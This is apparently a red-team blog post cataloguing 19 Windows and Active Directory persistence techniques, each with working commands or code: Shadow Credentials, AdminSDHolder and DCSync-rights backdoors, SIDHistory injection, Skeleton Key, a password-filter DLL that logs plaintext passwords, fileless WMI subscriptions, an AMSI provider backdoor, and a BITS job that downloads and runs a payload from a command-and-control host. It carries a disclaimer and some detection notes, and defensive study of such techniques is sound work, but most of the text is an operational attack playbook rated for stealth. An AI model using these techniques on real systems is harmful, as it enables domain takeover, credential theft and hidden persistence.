// About // Blog // Contact

Persistence Atlas: 19 Techniques Nobody Talks About

Shadow Credentials, AdminSDHolder backdoors, Time Provider DLLs, AMSI Provider registration — a deep dive into the persistence vectors that fly under every defender's radar. Full implementation for each.

T1098.001 T1003.006 T1547.003 T1546.015 T1556.002 T1649 T1134.005 T1197 T1546.003

Why Standard Persistence Fails

Every red team playbook starts the same way: add a user to Domain Admins, drop a service, modify the Run key. Defenders know these. SIEMs alert on them. EDRs block them. The techniques in this post are different — they abuse legitimate Windows extensibility mechanisms, write nothing to disk (in some cases), and appear completely normal in every monitoring tool that isn't specifically looking for them.

This atlas documents 19 persistence vectors across Active Directory and Windows local. Each one has been researched, tested, and comes with full implementation. I've rated each by stealth, difficulty, and persistence strength to help you choose the right vector for the engagement.

⚠️

Authorized use only. All techniques here are for penetration testing engagements with explicit written authorization. Detection signals are included specifically so defenders can build coverage.

Active Directory Persistence

AD persistence is the holy grail — one backdoor gives you persistent access to the entire domain. The techniques below go well beyond "add to Domain Admins".

1. Shadow Credentials (msDS-KeyCredentialLink)

T1098.001Stealth ★★★★★Survives Password Resets

Most persistence breaks the moment a defender resets the target account's password. Shadow Credentials does not. You add a certificate-based Key Credential to the target account's msDS-KeyCredentialLink attribute — the mechanism Windows Hello for Business uses. From that point, you can authenticate as that account using your certificate, regardless of how many times the password changes.

Why nobody catches it: The attribute is almost never audited. It's a legitimate Windows Hello mechanism. There's no group membership change, no new user, no service modification. The only signal is Event ID 5136 on the specific attribute — which most SIEMs don't alert on by default.

PowerShell — WhiskerAdd Shadow Credential
# Add Key Credential to target account
Whisker.exe add /target:targetuser /domain:corp.local /dc:DC01.corp.local /path:C:\Temp\cert.pfx /password:P@ssw0rd

# Authenticate using the certificate (get TGT + NTLM hash)
Rubeus.exe asktgt /user:targetuser /certificate:C:\Temp\cert.pfx /password:P@ssw0rd /getcredentials /show
🔵

Detection: Monitor Event ID 5136 (Directory Service Changes) for writes to msDS-KeyCredentialLink on user objects (not computer objects — those are legitimate for WHfB). Any write by a non-Azure AD Connect service account is suspicious.

2. AdminSDHolder ACL Backdoor

T1078.002Self-Healing Every 60 Minutes

The SDProp background process runs every 60 minutes and copies the DACL of CN=AdminSDHolder,CN=System to all "protected" AD objects — Domain Admins, Schema Admins, Enterprise Admins, Administrators, and ~12 others. If you add a GenericAll ACE for your backdoor account to AdminSDHolder, SDProp propagates it automatically. Defenders remove you from Domain Admins → SDProp adds you back an hour later, silently.

PowerShell — PowerViewAdminSDHolder ACE
# Add GenericAll for backdoor user to AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
    -PrincipalIdentity backdooruser -Rights All -Domain corp.local

# Alternatively with dsacls.exe (no PowerView)
dsacls.exe "CN=AdminSDHolder,CN=System,DC=corp,DC=local" /G "CORP\backdooruser:GA"

# Trigger SDProp immediately (don't wait 60 min)
Invoke-Command -ComputerName DC01 {
    $key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
    Set-ItemProperty $key "RunProtectAdminGroupsTask" 1
}
🔵

Detection: Event ID 5136 for DACL changes to CN=AdminSDHolder. Any modification to this object by non-SYSTEM accounts is a critical alert. Periodically diff the AdminSDHolder DACL against a known-good baseline.

3. DCSync Rights Delegation — The Invisible Hash Dumper

T1003.006Stealth ★★★★★

This is the cleanest persistence in Active Directory. You take a normal IT helpdesk account that nobody watches, and grant it two replication extended rights on the domain root. That account can now DCSync — dump every hash in the domain — at any time. No new users. No group changes. No service modifications. Just two invisible ACEs on the domain object.

PowerShellGrant DCSync rights to backdoor account
# One-liner with PowerView
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights DCSync

# Native PowerShell (no tools required)
$sid  = (Get-ADUser backdooruser).SID
$acl  = Get-Acl "AD:DC=corp,DC=local"
$guids = @("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2","1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
foreach ($g in $guids) {
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid, "ExtendedRight", "Allow", [GUID]$g)
    $acl.AddAccessRule($ace)
}
Set-Acl "AD:DC=corp,DC=local" $acl

# Use it later (Impacket — from any machine)
secretsdump.py corp.local/backdooruser:'Password123'@DC01.corp.local -just-dc

4. RBCD Persistence Chain

T1134.001Kerberos Delegation Abuse

Resource-Based Constrained Delegation (RBCD) is usually taught as an attack — here it's persistence. You configure a machine account you control (BACKDOOR$) in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a high-value target machine. Then, months later, you use S4U2Self + S4U2Proxy to impersonate Domain Admin to that target machine — all via legitimate Kerberos delegation.

PowerShellRBCD setup
# Create machine account (any auth'd user, default MachineAccountQuota = 10)
New-MachineAccount -MachineAccount BACKDOOR$ -Password (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force)

# Set RBCD on target machine
$sid = Get-DomainComputer BACKDOOR$ -Properties objectsid | Select -Expand objectsid
$sd  = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($bytes,0)
Get-DomainComputer TARGETPC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}

# Later: S4U attack to impersonate DA
Rubeus.exe s4u /user:BACKDOOR$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/TARGETPC.corp.local /ptt

5. SIDHistory Injection — The Invisible Domain Admin

T1134.005Stealth ★★★★★Invisible to Group Audits

Inject the Domain Admins SID (S-1-5-21-...-512) into a helpdesk account's sIDHistory attribute. The account doesn't appear in any privileged group. net group "Domain Admins" shows nothing. BloodHound shows nothing. Yet Windows grants full DA access because the PAC includes SIDHistory entries, which are checked at resource access time.

MimikatzSIDHistory injection on DC
# Requires DA + debug privilege on DC
privilege::debug
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-512

# Verify: user NOT in DA group, but has DA access
whoami /groups | findstr "Domain Admins"  # EMPTY
ls \\DC01.corp.local\C$                   # WORKS

# Confirm attribute
Get-ADUser backdooruser -Properties SIDHistory | Select SIDHistory

6. ADCS Certificate Persistence (ESC1 Abuse)

T1649Survives Password Changes

Enroll a certificate for Domain Admin using a misconfigured ADCS template (ESC1: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled, low-privilege enrollment allowed). The certificate is valid for 1–5 years. Every password reset, every account re-creation, every credential rotation — irrelevant. You authenticate as DA with the certificate until it expires.

PowerShell — Certify + RubeusESC1 enrollment
# Find vulnerable templates
Certify.exe find /vulnerable

# Enroll as Domain Admin
Certify.exe request /ca:CA01.corp.local\corp-CA /template:VulnerableTemplate /altname:administrator@corp.local

# Convert and use (survives DA password changes)
openssl pkcs12 -export -in cert.pem -keyfile key.pem -out admin.pfx -password pass:P@ssw0rd
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:P@ssw0rd /domain:corp.local /ptt

7. Custom Password Filter DLL — Plaintext on Every Change

T1556.002Stealth ★★★★★

Register a DLL in LSASS as a Windows Password Filter. Your PasswordChangeNotify() export receives the plaintext new password for every domain user who changes their password. The more IT enforces "rotate every 90 days," the more credentials you collect. The DLL looks like a legitimate LSA component.

C++Password Filter DLL skeleton
#include <windows.h>
#include <ntsecapi.h>
#include <fstream>

BOOLEAN WINAPI InitializeChangeNotify(void) { return TRUE; }
BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, BOOLEAN) { return TRUE; }

NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG, PUNICODE_STRING NewPassword) {
    std::wofstream log(L"C:\\Windows\\Temp\\.pf.dat", std::ios::app);
    if (log) log << UserName->Buffer << L":" << NewPassword->Buffer << L"\n";
    return 0;
}
PowerShellRegistration on DC
Copy-Item pwfilter.dll C:\Windows\System32\pwfilter.dll
$key  = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
$pkgs = (Get-ItemProperty $key)."Notification Packages"
$pkgs += "pwfilter"
Set-ItemProperty $key "Notification Packages" $pkgs -Type MultiString
# Requires reboot to load into LSASS

8. Skeleton Key — Master Password for Every Account

T1556.001In-Memory Only

Patch the DC's LSASS in memory so it accepts a secondary "master password" for any domain account — while keeping original passwords working. Zero NTDS changes. Zero disk writes. The patch evaporates on reboot. This is ideal for engagements where you need temporary DA access without leaving forensic artifacts.

MimikatzOn the Domain Controller
privilege::debug
misc::skeleton

# Test from any workstation (password: "mimikatz")
net use \\DC01\C$ /user:CORP\administrator mimikatz   # works alongside real password

Windows Local Persistence

These techniques exploit legitimate Windows extensibility mechanisms. None of them require you to drop a service, modify Run keys, or touch Startup folders. Each one abuses something Windows was designed to do — just not for this purpose.

9. Time Provider DLL (W32Time) — The Most Overlooked Vector

T1547.003Stealth ★★★★★NETWORK SERVICE context

Register a DLL as an NTP time provider under W32Time. The W32Time service (which runs as NETWORK SERVICE at boot) loads your DLL automatically. This registry path is almost never monitored. Legitimate entries: only NtpClient and NtpServer. Adding a third looks normal to everything except a registry diff.

PowerShellTime Provider registration
$reg = "HKLM:\System\CurrentControlSet\Services\W32Time\TimeProviders\WindowsNTPSync"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty $reg "DllName"       "C:\Windows\System32\timeprov.dll"
Set-ItemProperty $reg "Enabled"       1 -Type DWord
Set-ItemProperty $reg "InputProvider" 0 -Type DWord

Copy-Item timeprov.dll C:\Windows\System32\timeprov.dll
Stop-Service W32Time; Start-Service W32Time  # load immediately
🔵

Detection: Monitor HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\ for new subkeys. Only NtpClient and NtpServer should exist. Any new entry pointing to a non-Microsoft DLL is an IOC.

10. COM Object Hijacking (HKCU) — No Admin Required

T1546.015Zero privileges needed

Override a COM object's registration in HKCU (which takes precedence over HKLM). When a privileged process loads that COM object, your DLL loads instead. No elevation. No UAC. Affects any process that uses that CLSID. Find candidates using Process Monitor filtering for NAME NOT FOUND in HKCU\Software\Classes\CLSID.

PowerShellHKCU COM override
# Example CLSID for MMC (validate in your environment with ProcMon)
$clsid = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"
$path  = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $path -Force | Out-Null
Set-ItemProperty $path "(Default)"      "C:\Users\$env:USERNAME\AppData\Local\payload.dll"
Set-ItemProperty $path "ThreadingModel" "Apartment"

# Fires whenever the target process instantiates that COM object

11. AppCert DLL — Universal CreateProcess Hook

T1546.009Loaded into every process that spawns children

DLLs registered under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs are loaded into every process that calls CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, or CreateProcessWithTokenW. One registry key. System-wide DLL injection. The key barely exists on normal machines (usually empty) and is rarely monitored.

PowerShellAppCert DLL registration
$key = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs"
if (-not (Test-Path $key)) { New-Item $key -Force | Out-Null }
Set-ItemProperty $key "WindowsSecurityAgent" "C:\Windows\System32\appcert.dll"
💡

Note: Your DLL must export CreateProcessNotify returning STATUS_SUCCESS, otherwise process creation will fail.

12. LSA Notification Package — LSASS DLL + Plaintext Creds

T1556.002Stealth ★★★★★

Same key as the AD Password Filter, but for local accounts. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages lists DLLs loaded by LSASS. Legitimate entry: only scecli. Your DLL runs inside LSASS (SYSTEM context) and receives plaintext passwords on every local account change.

13. Port Monitor DLL — Print Spooler SYSTEM Persistence

T1547.010Stealth ★★★★★SYSTEM context

Register a DLL as a Windows Print Port Monitor under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\. The Print Spooler (always-running SYSTEM service) loads it at boot. This path is almost never audited. Legitimate entries: 3-4 named well-known monitor types. Yours looks identical.

PowerShellPort Monitor registration
$key = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\WindowsPortSvc"
New-Item $key -Force | Out-Null
Set-ItemProperty $key "Driver" "portmon.dll"
Copy-Item portmon.dll C:\Windows\System32\portmon.dll
Restart-Service Spooler

14. Security Support Provider (SSP) DLL

T1547.005Loaded by LSASS

SSPs are loaded by LSASS from HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Your DLL runs inside LSASS, can hook authentication flows, and can intercept credentials mid-authentication. Mimikatz's misc::memssp injects an SSP at runtime (no reboot required for temporary operation).

MimikatzRuntime SSP injection
privilege::debug
misc::memssp
# All authentications now logged to C:\Windows\System32\mimilsa.log

15. WMI Permanent Event Subscription — Fileless Persistence

T1546.003No PE on disk — payload in WMI repository

Create a WMI EventFilter + ActiveScriptEventConsumer + FilterToConsumerBinding. The payload (VBScript or JScript) lives entirely in the WMI repository (%SystemRoot%\System32\wbem\Repository\) — no executable on disk. Survives reboots. Standard file-based AV misses it entirely. The trigger can be time-based, process-based, or event-based.

PowerShellWMI permanent subscription (fileless)
# 1. Event Filter — fires every hour
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "WindowsUpdateFilter"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'"
$filter.EventNamespace = "root\cimv2"
$filter.Put()

# 2. ActiveScript Consumer — VBScript payload (FILELESS)
$consumer = ([wmiclass]"\\.\root\subscription:ActiveScriptEventConsumer").CreateInstance()
$consumer.Name = "WindowsUpdateConsumer"
$consumer.ScriptingEngine = "VBScript"
$consumer.ScriptText = "CreateObject(""WScript.Shell"").Run ""powershell -w h -enc BASE64_PAYLOAD"", 0, False"
$consumer.Put()

# 3. Binding
$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.__PATH
$binding.Consumer = $consumer.__PATH
$binding.Put()

16. Active Setup — Per-User Run-Once (No Admin for HKCU)

T1547.014

Active Setup runs a StubPath command for each new user who logs on if the HKLM version number is higher than their HKCU version. By setting version 99,0,0,0, your command runs for every user on their first logon after your implant registers the key — perfect for spreading persistence to new logons automatically.

PowerShellActive Setup registration
$guid = "{$(New-Guid)}"
$key  = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"
New-Item $key -Force | Out-Null
Set-ItemProperty $key "(Default)"   "Windows Security Update"
Set-ItemProperty $key "StubPath"    "powershell -w hidden -enc <BASE64>"
Set-ItemProperty $key "Version"     "99,0,0,0"
Set-ItemProperty $key "IsInstalled" 1 -Type DWord

17. Credential Provider DLL — Lock Screen Persistence

T1556.006Captures typed passwords at lock screen

Register a COM object as a Windows Credential Provider. LogonUI.exe (the lock screen process) loads all registered providers and calls their interface. Your provider runs before authentication. You can silently log every credential typed at the lock screen, display additional UI fields, and maintain SYSTEM-level persistence — all while appearing as a legitimate security component.

PowerShellCredential Provider registration
$clsid = "{YOUR-GUID}"
# Register COM class
New-Item "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Force | Out-Null
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "(Default)" "C:\Windows\System32\credprov.dll"
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "ThreadingModel" "Apartment"
# Register as Credential Provider
New-Item "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\$clsid" -Force | Out-Null

18. BITS Persistent Job — Disguised as Windows Update

T1197Blends with Windows Update traffic

Create a BITS job with a notification command that executes your payload when the download completes. BITS jobs persist across reboots, run as the creating user, and traffic blends with normal Windows Update CDN calls. Set the job name to look like a KB article for extra cover.

CMD / bitsadminPersistent BITS job
bitsadmin /create "Microsoft Windows Update KB5034441"
bitsadmin /addfile "Microsoft Windows Update KB5034441" "http://your-c2.com/update.exe" "C:\Windows\Temp\KB5034441.exe"
bitsadmin /SetNotifyCmdLine "Microsoft Windows Update KB5034441" "C:\Windows\Temp\KB5034441.exe" NUL
bitsadmin /SetNotifyFlags "Microsoft Windows Update KB5034441" 3
bitsadmin /resume "Microsoft Windows Update KB5034441"

19. AMSI Provider Registration — Backdoor Inside Every Security-Aware Process

T1546.015Stealth ★★★★★Loaded by amsi.dll into PowerShell, Office, WSH, .NET

Register a COM object as an AMSI content provider under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{CLSID}. When amsi.dll initializes in any AMSI-aware process (PowerShell, Word, Excel, mshta, cscript, .NET), it CoCreateInstance's your provider. Your DLL loads in every high-value process while appearing as a legitimate security integration. Your provider returns AMSI_RESULT_NOT_DETECTED for everything — appearing helpful — while your payload runs in the background.

The meta irony: Your malware registers as a security tool. The very mechanism designed to stop malware loads your malware into every process that calls AMSI. Ask a defender: "How do you detect a malicious AMSI provider when the scanner loads your DLL before it can scan it?"

PowerShellAMSI Provider registration
$clsid = "{YOUR-GUID}"
# COM class registration
New-Item "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" -Force | Out-Null
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "(Default)" "C:\Windows\System32\amsiprov.dll"
Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InprocServer32" "ThreadingModel" "Both"
# Register as AMSI provider
New-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\$clsid" -Force | Out-Null
# Takes effect on next PowerShell/Office launch
🔵

Detection: Enumerate HKLM\SOFTWARE\Microsoft\AMSI\Providers\. Only known, signed security products should appear. Any unsigned DLL is a critical IOC. Windows 11 has begun enforcing AMSI provider signing in some configurations — enabling this policy prevents unsigned providers from loading.

Building Detection Coverage

Every technique above has a detection signal. The common thread: monitor the registry paths nobody else monitors. The key locations most SIEMs miss:

  • HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\
  • HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs
  • HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
  • HKLM\SOFTWARE\Microsoft\AMSI\Providers\
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\
  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\
  • msDS-KeyCredentialLink writes (AD Event 5136)
  • CN=AdminSDHolder DACL changes (AD Event 5136)
  • Replication rights on domain root (AD Event 4662 with replication GUIDs)

Add these to your Sysmon configuration (Event ID 12/13 for registry) and you'll catch 90% of these techniques in seconds.